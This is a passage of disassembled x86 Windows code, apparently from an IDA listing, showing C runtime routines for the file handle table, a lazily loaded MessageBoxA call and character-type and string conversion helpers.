dword_4F3534 mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_4308B6 ; --------------------------------------------------------------------------- loc_430869: ; CODE XREF: sub_4307E0+31j ; DATA XREF: _0:004309F2o mov [ebp+var_18], offset dword_4F3538 mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_4308B6 ; --------------------------------------------------------------------------- loc_430883: ; CODE XREF: sub_4307E0+31j ; DATA XREF: _0:004309EEo call sub_428EE0 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov edx, [ecx+50h] push edx mov eax, [ebp+arg_0] push eax call sub_430A20 add esp, 8 add eax, 8 mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx jmp short loc_4308B6 ; --------------------------------------------------------------------------- loc_4308AE: ; CODE XREF: sub_4307E0+20j ; sub_4307E0+31j ; DATA XREF: ... or eax, 0FFFFFFFFh jmp loc_4309E6 ; --------------------------------------------------------------------------- loc_4308B6: ; CODE XREF: sub_4307E0+50j ; sub_4307E0+6Dj ... cmp [ebp+var_C], 0 jz short loc_4308C6 push 1 call sub_423280 add esp, 4 loc_4308C6: ; CODE XREF: sub_4307E0+DAj cmp [ebp+var_1C], 1 jnz short loc_4308E3 cmp [ebp+var_C], 0 jz short loc_4308DC push 1 call sub_423320 add esp, 4 loc_4308DC: ; CODE XREF: sub_4307E0+F0j xor eax, eax jmp loc_4309E6 ; --------------------------------------------------------------------------- loc_4308E3: ; CODE XREF: sub_4307E0+EAj cmp [ebp+var_1C], 0 jnz short loc_430900 cmp [ebp+var_C], 0 jz short loc_4308F9 push 1 call sub_423320 add esp, 4 loc_4308F9: ; CODE XREF: sub_4307E0+10Dj push 3 call sub_41E8C0 loc_430900: ; CODE XREF: sub_4307E0+107j cmp [ebp+arg_0], 8 jz short loc_430912 cmp [ebp+arg_0], 0Bh jz short loc_430912 cmp [ebp+arg_0], 4 jnz short loc_43093E loc_430912: ; CODE XREF: sub_4307E0+124j ; sub_4307E0+12Aj mov eax, [ebp+var_4] mov ecx, [eax+54h] mov [ebp+var_14], ecx mov edx, [ebp+var_4] mov dword ptr [edx+54h], 0 cmp [ebp+arg_0], 8 jnz short loc_43093E mov eax, [ebp+var_4] mov ecx, [eax+58h] mov [ebp+var_8], ecx mov edx, [ebp+var_4] mov dword ptr [edx+58h], 8Ch loc_43093E: ; CODE XREF: sub_4307E0+130j ; sub_4307E0+149j cmp [ebp+arg_0], 8 jnz short loc_430980 mov eax, ds:dword_454380 mov [ebp+var_10], eax jmp short loc_430957 ; --------------------------------------------------------------------------- loc_43094E: ; CODE XREF: sub_4307E0+19Cj mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_430957: ; CODE XREF: sub_4307E0+16Cj mov edx, ds:dword_454380 add edx, ds:dword_454384 cmp [ebp+var_10], edx jge short loc_43097E mov eax, [ebp+var_10] imul eax, 0Ch mov ecx, [ebp+var_4] mov edx, [ecx+50h] mov dword ptr [edx+eax+8], 0 jmp short loc_43094E ; --------------------------------------------------------------------------- loc_43097E: ; CODE XREF: sub_4307E0+186j jmp short loc_430989 ; --------------------------------------------------------------------------- loc_430980: ; CODE XREF: sub_4307E0+162j mov eax, [ebp+var_18] mov dword ptr [eax], 0 loc_430989: ; CODE XREF: sub_4307E0:loc_43097Ej cmp [ebp+var_C], 0 jz short loc_430999 push 1 call sub_423320 add esp, 4 loc_430999: ; CODE XREF: sub_4307E0+1ADj cmp [ebp+arg_0], 8 jnz short loc_4309B0 mov ecx, [ebp+var_4] mov edx, [ecx+58h] push edx push 8 call [ebp+var_1C] add esp, 8 jmp short loc_4309BA ; --------------------------------------------------------------------------- loc_4309B0: ; CODE XREF: sub_4307E0+1BDj mov eax, [ebp+arg_0] push eax call [ebp+var_1C] add esp, 4 loc_4309BA: ; CODE XREF: sub_4307E0+1CEj cmp [ebp+arg_0], 8 jz short loc_4309CC cmp [ebp+arg_0], 0Bh jz short loc_4309CC cmp [ebp+arg_0], 4 jnz short loc_4309E4 loc_4309CC: ; CODE XREF: sub_4307E0+1DEj ; sub_4307E0+1E4j mov ecx, [ebp+var_4] mov edx, [ebp+var_14] mov [ecx+54h], edx cmp [ebp+arg_0], 8 jnz short loc_4309E4 mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+58h], ecx loc_4309E4: ; CODE XREF: sub_4307E0+1EAj ; sub_4307E0+1F9j xor eax, eax loc_4309E6: ; CODE XREF: sub_4307E0+D1j ; sub_4307E0+FEj mov esp, ebp pop ebp retn sub_4307E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- off_4309EA dd offset loc_430818 ; DATA XREF: sub_4307E0+31r dd offset loc_430883 dd offset loc_430869 dd offset loc_430835 dd offset loc_43084F dd offset loc_4308AE byte_430A02 db 0 ; DATA XREF: sub_4307E0+2Br db 5 dd 5050501h, 1050501h, 2050505h, 5050505h, 0CC040305h dd 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430A20 proc near ; CODE XREF: _0:004306A0p ; sub_4307E0+B6p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_430A2A: ; CODE XREF: sub_430A20+31j mov ecx, [ebp+var_4] mov edx, [ecx+4] cmp edx, [ebp+arg_0] jz short loc_430A53 mov eax, [ebp+var_4] add eax, 0Ch mov [ebp+var_4], eax mov ecx, ds:dword_45438C imul ecx, 0Ch mov edx, [ebp+arg_4] add edx, ecx cmp [ebp+var_4], edx jnb short loc_430A53 jmp short loc_430A2A ; --------------------------------------------------------------------------- loc_430A53: ; CODE XREF: sub_430A20+13j ; sub_430A20+2Fj mov eax, ds:dword_45438C imul eax, 0Ch mov ecx, [ebp+arg_4] add ecx, eax cmp [ebp+var_4], ecx jnb short loc_430A75 mov edx, [ebp+var_4] mov eax, [edx+4] cmp eax, [ebp+arg_0] jnz short loc_430A75 mov eax, [ebp+var_4] jmp short loc_430A77 ; --------------------------------------------------------------------------- loc_430A75: ; CODE XREF: sub_430A20+43j ; sub_430A20+4Ej xor eax, eax loc_430A77: ; CODE XREF: sub_430A20+53j mov esp, ebp pop ebp retn sub_430A20 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_428EE0 add eax, 58h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430A90 proc near ; CODE XREF: _0:00432019p push ebp mov ebp, esp call sub_428EE0 add eax, 54h pop ebp retn sub_430A90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430AA0 proc near ; CODE XREF: sub_4229A0+2CEp ; sub_42FF30+1B0p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], 0 cmp ds:dword_4F3540, 0 jnz short loc_430B13 push offset aUser32_dll_0 ; "user32.dll" call ds:off_4F538C mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_430AE7 push offset aMessageboxa ; "MessageBoxA" mov eax, [ebp+var_8] push eax call ds:off_4F5390 mov ds:dword_4F3540, eax cmp ds:dword_4F3540, 0 jnz short loc_430AEB loc_430AE7: ; CODE XREF: sub_430AA0+28j xor eax, eax jmp short loc_430B57 ; --------------------------------------------------------------------------- loc_430AEB: ; CODE XREF: sub_430AA0+45j push offset aGetactivewindo ; "GetActiveWindow" mov ecx, [ebp+var_8] push ecx call ds:off_4F5390 mov ds:dword_4F3544, eax push offset aGetlastactivep ; "GetLastActivePopup" mov edx, [ebp+var_8] push edx call ds:off_4F5390 mov ds:dword_4F3548, eax loc_430B13: ; CODE XREF: sub_430AA0+14j cmp ds:dword_4F3544, 0 jz short loc_430B25 call ds:dword_4F3544 mov [ebp+var_4], eax loc_430B25: ; CODE XREF: sub_430AA0+7Aj cmp [ebp+var_4], 0 jz short loc_430B41 cmp ds:dword_4F3548, 0 jz short loc_430B41 mov eax, [ebp+var_4] push eax call ds:dword_4F3548 mov [ebp+var_4], eax loc_430B41: ; CODE XREF: sub_430AA0+89j ; sub_430AA0+92j mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] push ecx call ds:dword_4F3540 loc_430B57: ; CODE XREF: sub_430AA0+49j mov esp, ebp pop ebp retn sub_430AA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430B60 proc near ; CODE XREF: _0:loc_430FF2p ; sub_4314E0:loc_431779p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push esi mov [ebp+var_8], 0FFFFFFFFh push 12h call sub_423280 add esp, 4 mov [ebp+var_C], 0 jmp short loc_430B8A ; --------------------------------------------------------------------------- loc_430B81: ; CODE XREF: sub_430B60:loc_430D2Bj mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_430B8A: ; CODE XREF: sub_430B60+1Fj cmp [ebp+var_C], 40h jge loc_430D30 mov ecx, [ebp+var_C] cmp ds:dword_4F36C0[ecx*4], 0 jz loc_430C96 mov edx, [ebp+var_C] mov eax, ds:dword_4F36C0[edx*4] mov [ebp+var_4], eax jmp short loc_430BBD ; --------------------------------------------------------------------------- loc_430BB4: ; CODE XREF: sub_430B60+F1j ; sub_430B60:loc_430C81j mov ecx, [ebp+var_4] add ecx, 24h mov [ebp+var_4], ecx loc_430BBD: ; CODE XREF: sub_430B60+52j mov edx, [ebp+var_C] mov eax, ds:dword_4F36C0[edx*4] add eax, 480h cmp [ebp+var_4], eax jnb loc_430C86 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx+4] and edx, 1 test edx, edx jnz loc_430C81 mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jnz short loc_430C29 push 11h call sub_423280 add esp, 4 mov ecx, [ebp+var_4] cmp dword ptr [ecx+8], 0 jnz short loc_430C1F mov edx, [ebp+var_4] add edx, 0Ch push edx call ds:dword_4F54A4 ; InitializeCriticalSection mov eax, [ebp+var_4] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+var_4] mov [edx+8], ecx loc_430C1F: ; CODE XREF: sub_430B60+A1j push 11h call sub_423320 add esp, 4 loc_430C29: ; CODE XREF: sub_430B60+8Ej mov eax, [ebp+var_4] add eax, 0Ch push eax call ds:dword_4F53A8 ; RtlEnterCriticalSection mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx+4] and edx, 1 test edx, edx jz short loc_430C56 mov eax, [ebp+var_4] add eax, 0Ch push eax call ds:dword_4F53A4 ; RtlLeaveCriticalSection jmp loc_430BB4 ; --------------------------------------------------------------------------- loc_430C56: ; CODE XREF: sub_430B60+E2j mov ecx, [ebp+var_4] mov dword ptr [ecx], 0FFFFFFFFh mov ecx, [ebp+var_C] shl ecx, 5 mov edx, [ebp+var_C] mov eax, [ebp+var_4] sub eax, ds:dword_4F36C0[edx*4] cdq mov esi, 24h idiv esi add ecx, eax mov [ebp+var_8], ecx jmp short loc_430C86 ; --------------------------------------------------------------------------- loc_430C81: ; CODE XREF: sub_430B60+81j jmp loc_430BB4 ; --------------------------------------------------------------------------- loc_430C86: ; CODE XREF: sub_430B60+6Fj ; sub_430B60+11Fj cmp [ebp+var_8], 0FFFFFFFFh jz short loc_430C91 jmp loc_430D30 ; --------------------------------------------------------------------------- loc_430C91: ; CODE XREF: sub_430B60+12Aj jmp loc_430D2B ; --------------------------------------------------------------------------- loc_430C96: ; CODE XREF: sub_430B60+3Fj push 79h push offset aOsfinfo_c ; "osfinfo.c" push 2 push 480h call sub_41BE70 add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_430D29 mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov ds:dword_4F36C0[eax*4], ecx mov edx, ds:dword_4F37C0 add edx, 20h mov ds:dword_4F37C0, edx jmp short loc_430CDC ; --------------------------------------------------------------------------- loc_430CD3: ; CODE XREF: sub_430B60+1B2j mov eax, [ebp+var_4] add eax, 24h mov [ebp+var_4], eax loc_430CDC: ; CODE XREF: sub_430B60+171j mov ecx, [ebp+var_C] mov edx, ds:dword_4F36C0[ecx*4] add edx, 480h cmp [ebp+var_4], edx jnb short loc_430D14 mov eax, [ebp+var_4] mov byte ptr [eax+4], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx], 0FFFFFFFFh mov edx, [ebp+var_4] mov byte ptr [edx+5], 0Ah mov eax, [ebp+var_4] mov dword ptr [eax+8], 0 jmp short loc_430CD3 ; --------------------------------------------------------------------------- loc_430D14: ; CODE XREF: sub_430B60+18Fj mov ecx, [ebp+var_C] shl ecx, 5 mov [ebp+var_8], ecx mov edx, [ebp+var_8] push edx call sub_431070 add esp, 4 loc_430D29: ; CODE XREF: sub_430B60+153j jmp short loc_430D30 ; --------------------------------------------------------------------------- loc_430D2B: ; CODE XREF: sub_430B60:loc_430C91j jmp loc_430B81 ; --------------------------------------------------------------------------- loc_430D30: ; CODE XREF: sub_430B60+2Ej ; sub_430B60+12Cj ... push 12h call sub_423320 add esp, 4 mov eax, [ebp+var_8] pop esi mov esp, ebp pop ebp retn sub_430B60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430D50 proc near ; CODE XREF: _0:00431023p ; sub_4314E0+379p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, ds:dword_4F37C0 jnb loc_430DEA mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4F36C0[ecx*4] cmp dword ptr [eax+edx], 0FFFFFFFFh jnz short loc_430DEA cmp ds:dword_451844, 1 jnz short loc_430DCA mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jz short loc_430DA2 cmp [ebp+var_4], 1 jz short loc_430DB0 cmp [ebp+var_4], 2 jz short loc_430DBE jmp short loc_430DCA ; --------------------------------------------------------------------------- loc_430DA2: ; CODE XREF: sub_430D50+42j mov edx, [ebp+arg_4] push edx push 0FFFFFFF6h call ds:dword_4F5310 ; SetStdHandle jmp short loc_430DCA ; --------------------------------------------------------------------------- loc_430DB0: ; CODE XREF: sub_430D50+48j mov eax, [ebp+arg_4] push eax push 0FFFFFFF5h call ds:dword_4F5310 ; SetStdHandle jmp short loc_430DCA ; --------------------------------------------------------------------------- loc_430DBE: ; CODE XREF: sub_430D50+4Ej mov ecx, [ebp+arg_4] push ecx push 0FFFFFFF4h call ds:dword_4F5310 ; SetStdHandle loc_430DCA: ; CODE XREF: sub_430D50+36j ; sub_430D50+50j ... mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, ds:dword_4F36C0[edx*4] mov edx, [ebp+arg_4] mov [ecx+eax], edx xor eax, eax jmp short loc_430E03 ; --------------------------------------------------------------------------- loc_430DEA: ; CODE XREF: sub_430D50+Dj ; sub_430D50+2Dj call sub_429A90 mov dword ptr [eax], 9 call sub_429AA0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_430E03: ; CODE XREF: sub_430D50+98j mov esp, ebp pop ebp retn sub_430D50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430E10 proc near ; CODE XREF: sub_422D30+69p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, ds:dword_4F37C0 jnb loc_430ECB mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4F36C0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jz loc_430ECB mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, ds:dword_4F36C0[edx*4] cmp dword ptr [ecx+eax], 0FFFFFFFFh jz short loc_430ECB cmp ds:dword_451844, 1 jnz short loc_430EAA mov edx, [ebp+arg_0] mov [ebp+var_4], edx cmp [ebp+var_4], 0 jz short loc_430E88 cmp [ebp+var_4], 1 jz short loc_430E94 cmp [ebp+var_4], 2 jz short loc_430EA0 jmp short loc_430EAA ; --------------------------------------------------------------------------- loc_430E88: ; CODE XREF: sub_430E10+68j push 0 push 0FFFFFFF6h call ds:dword_4F5310 ; SetStdHandle jmp short loc_430EAA ; --------------------------------------------------------------------------- loc_430E94: ; CODE XREF: sub_430E10+6Ej push 0 push 0FFFFFFF5h call ds:dword_4F5310 ; SetStdHandle jmp short loc_430EAA ; --------------------------------------------------------------------------- loc_430EA0: ; CODE XREF: sub_430E10+74j push 0 push 0FFFFFFF4h call ds:dword_4F5310 ; SetStdHandle loc_430EAA: ; CODE XREF: sub_430E10+5Cj ; sub_430E10+76j ... mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4F36C0[eax*4] mov dword ptr [edx+ecx], 0FFFFFFFFh xor eax, eax jmp short loc_430EE4 ; --------------------------------------------------------------------------- loc_430ECB: ; CODE XREF: sub_430E10+Dj ; sub_430E10+33j ... call sub_429A90 mov dword ptr [eax], 9 call sub_429AA0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_430EE4: ; CODE XREF: sub_430E10+B9j mov esp, ebp pop ebp retn sub_430E10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430EF0 proc near ; CODE XREF: sub_422D30+9p ; sub_422D30+24p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp eax, ds:dword_4F37C0 jnb short loc_430F3B mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4F36C0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jz short loc_430F3B mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, ds:dword_4F36C0[edx*4] mov eax, [ecx+eax] jmp short loc_430F54 ; --------------------------------------------------------------------------- loc_430F3B: ; CODE XREF: sub_430EF0+Cj ; sub_430EF0+2Ej call sub_429A90 mov dword ptr [eax], 9 call sub_429AA0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_430F54: ; CODE XREF: sub_430EF0+49j pop ebp retn sub_430EF0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 0Ch mov byte ptr [ebp-0Ch], 0 mov eax, [ebp+0Ch] and eax, 8 test eax, eax jz short loc_430F7D mov cl, [ebp-0Ch] or cl, 20h mov [ebp-0Ch], cl loc_430F7D: ; CODE XREF: _0:00430F72j mov edx, [ebp+0Ch] and edx, 4000h test edx, edx jz short loc_430F92 mov al, [ebp-0Ch] or al, 80h mov [ebp-0Ch], al loc_430F92: ; CODE XREF: _0:00430F88j mov ecx, [ebp+0Ch] and ecx, 80h test ecx, ecx jz short loc_430FA8 mov dl, [ebp-0Ch] or dl, 10h mov [ebp-0Ch], dl loc_430FA8: ; CODE XREF: _0:00430F9Dj mov eax, [ebp+8] push eax call ds:dword_4F5314 ; GetFileType mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz short loc_430FD2 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax call sub_4299F0 add esp, 4 or eax, 0FFFFFFFFh jmp loc_431060 ; --------------------------------------------------------------------------- loc_430FD2: ; CODE XREF: _0:00430FB9j cmp dword ptr [ebp-4], 2 jnz short loc_430FE3 mov cl, [ebp-0Ch] or cl, 40h mov [ebp-0Ch], cl jmp short loc_430FF2 ; --------------------------------------------------------------------------- loc_430FE3: ; CODE XREF: _0:00430FD6j cmp dword ptr [ebp-4], 3 jnz short loc_430FF2 mov dl, [ebp-0Ch] or dl, 8 mov [ebp-0Ch], dl loc_430FF2: ; CODE XREF: _0:00430FE1j _0:00430FE7j call sub_430B60 mov [ebp-8], eax cmp dword ptr [ebp-8], 0FFFFFFFFh jnz short loc_43101B call sub_429A90 mov dword ptr [eax], 18h call sub_429AA0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_431060 ; --------------------------------------------------------------------------- loc_43101B: ; CODE XREF: _0:00430FFEj mov eax, [ebp+8] push eax mov ecx, [ebp-8] push ecx call sub_430D50 add esp, 8 mov dl, [ebp-0Ch] or dl, 1 mov [ebp-0Ch], dl mov eax, [ebp-8] sar eax, 5 mov ecx, [ebp-8] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4F36C0[eax*4] mov al, [ebp-0Ch] mov [edx+ecx+4], al mov ecx, [ebp-8] push ecx call sub_431100 add esp, 4 mov eax, [ebp-8] loc_431060: ; CODE XREF: _0:00430FCDj _0:00431019j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431070 proc near ; CODE XREF: sub_422CB0+50p ; sub_4272F0+50p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4F36C0[eax*4] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jnz short loc_4310D1 push 11h call sub_423280 add esp, 4 mov ecx, [ebp+var_4] cmp dword ptr [ecx+8], 0 jnz short loc_4310C7 mov edx, [ebp+var_4] add edx, 0Ch push edx call ds:dword_4F54A4 ; InitializeCriticalSection mov eax, [ebp+var_4] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+var_4] mov [edx+8], ecx loc_4310C7: ; CODE XREF: sub_431070+39j push 11h call sub_423320 add esp, 4 loc_4310D1: ; CODE XREF: sub_431070+26j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4F36C0[eax*4] lea eax, [edx+ecx+0Ch] push eax call ds:dword_4F53A8 ; RtlEnterCriticalSection mov esp, ebp pop ebp retn sub_431070 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431100 proc near ; CODE XREF: sub_422CB0+6Bp ; sub_4272F0+73p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4F36C0[eax*4] lea eax, [edx+ecx+0Ch] push eax call ds:dword_4F53A4 ; RtlLeaveCriticalSection pop ebp retn sub_431100 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431130 proc near ; CODE XREF: sub_422ED0+2Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, ds:dword_4F37C0 jnb short loc_431161 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4F36C0[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_431174 loc_431161: ; CODE XREF: sub_431130+Dj call sub_429A90 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp loc_4311FE ; --------------------------------------------------------------------------- loc_431174: ; CODE XREF: sub_431130+2Fj mov edx, [ebp+arg_0] push edx call sub_431070 add esp, 4 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4F36C0[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 1 test eax, eax jz short loc_4311DD mov ecx, [ebp+arg_0] push ecx call sub_430EF0 add esp, 4 push eax call ds:dword_4F530C ; FlushFileBuffers test eax, eax jnz short loc_4311C4 call ds:dword_4F5360 ; RtlGetLastWin32Error mov [ebp+var_4], eax jmp short loc_4311CB ; --------------------------------------------------------------------------- loc_4311C4: ; CODE XREF: sub_431130+87j mov [ebp+var_4], 0 loc_4311CB: ; CODE XREF: sub_431130+92j cmp [ebp+var_4], 0 jnz short loc_4311D3 jmp short loc_4311EF ; --------------------------------------------------------------------------- loc_4311D3: ; CODE XREF: sub_431130+9Fj call sub_429AA0 mov edx, [ebp+var_4] mov [eax], edx loc_4311DD: ; CODE XREF: sub_431130+70j call sub_429A90 mov dword ptr [eax], 9 mov [ebp+var_4], 0FFFFFFFFh loc_4311EF: ; CODE XREF: sub_431130+A1j mov eax, [ebp+arg_0] push eax call sub_431100 add esp, 4 mov eax, [ebp+var_4] loc_4311FE: ; CODE XREF: sub_431130+3Fj mov esp, ebp pop ebp retn sub_431130 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431210 proc near ; CODE XREF: sub_427040+98p ; sub_429560+ECp ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43D778 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE4h push ebx push esi push edi mov [ebp+var_18], esp cmp ds:dword_4F354C, 0 jnz short loc_43128E lea eax, [ebp+var_1C] push eax push 1 push offset dword_43D410 push 1 call ds:dword_4F5304 ; GetStringTypeW test eax, eax jz short loc_431262 mov ds:dword_4F354C, 1 jmp short loc_43128E ; --------------------------------------------------------------------------- loc_431262: ; CODE XREF: sub_431210+44j lea ecx, [ebp+var_1C] push ecx push 1 push offset dword_43D40C push 1 push 0 call ds:dword_4F5308 ; GetStringTypeA test eax, eax jz short loc_431287 mov ds:dword_4F354C, 2 jmp short loc_43128E ; --------------------------------------------------------------------------- loc_431287: ; CODE XREF: sub_431210+69j xor eax, eax jmp loc_4313B8 ; --------------------------------------------------------------------------- loc_43128E: ; CODE XREF: sub_431210+2Dj ; sub_431210+50j ... cmp ds:dword_4F354C, 2 jnz short loc_4312C5 cmp [ebp+arg_14], 0 jnz short loc_4312A6 mov edx, ds:dword_4F33F8 mov [ebp+arg_14], edx loc_4312A6: ; CODE XREF: sub_431210+8Bj mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_14] push ecx call ds:dword_4F5308 ; GetStringTypeA jmp loc_4313B8 ; --------------------------------------------------------------------------- loc_4312C5: ; CODE XREF: sub_431210+85j cmp ds:dword_4F354C, 1 jnz loc_4313B6 cmp [ebp+arg_10], 0 jnz short loc_4312E1 mov edx, ds:dword_4F3408 mov [ebp+arg_10], edx loc_4312E1: ; CODE XREF: sub_431210+C6j push 0 push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_18] neg edx sbb edx, edx and edx, 8 add edx, 1 push edx mov eax, [ebp+arg_10] push eax call ds:dword_4F5454 ; MultiByteToWideChar mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz short loc_431315 xor eax, eax jmp loc_4313B8 ; --------------------------------------------------------------------------- loc_431315: ; CODE XREF: sub_431210+FCj mov [ebp+var_4], 0 mov eax, [ebp+var_20] shl eax, 1 add eax, 3 and al, 0FCh call sub_41EF80 mov [ebp+var_2C], esp mov [ebp+var_18], esp mov ecx, [ebp+var_2C] mov [ebp+var_24], ecx mov edx, [ebp+var_20] shl edx, 1 push edx push 0 mov eax, [ebp+var_24] push eax call sub_41E4B0 add esp, 0Ch mov [ebp+var_4], 0FFFFFFFFh jmp short loc_43136B ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_43136B: ; CODE XREF: sub_431210+142j cmp [ebp+var_24], 0 jnz short loc_431375 xor eax, eax jmp short loc_4313B8 ; --------------------------------------------------------------------------- loc_431375: ; CODE XREF: sub_431210+15Fj mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx push 1 mov edx, [ebp+arg_10] push edx call ds:dword_4F5454 ; MultiByteToWideChar mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_43139E xor eax, eax jmp short loc_4313B8 ; --------------------------------------------------------------------------- loc_43139E: ; CODE XREF: sub_431210+188j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+var_28] push ecx mov edx, [ebp+var_24] push edx 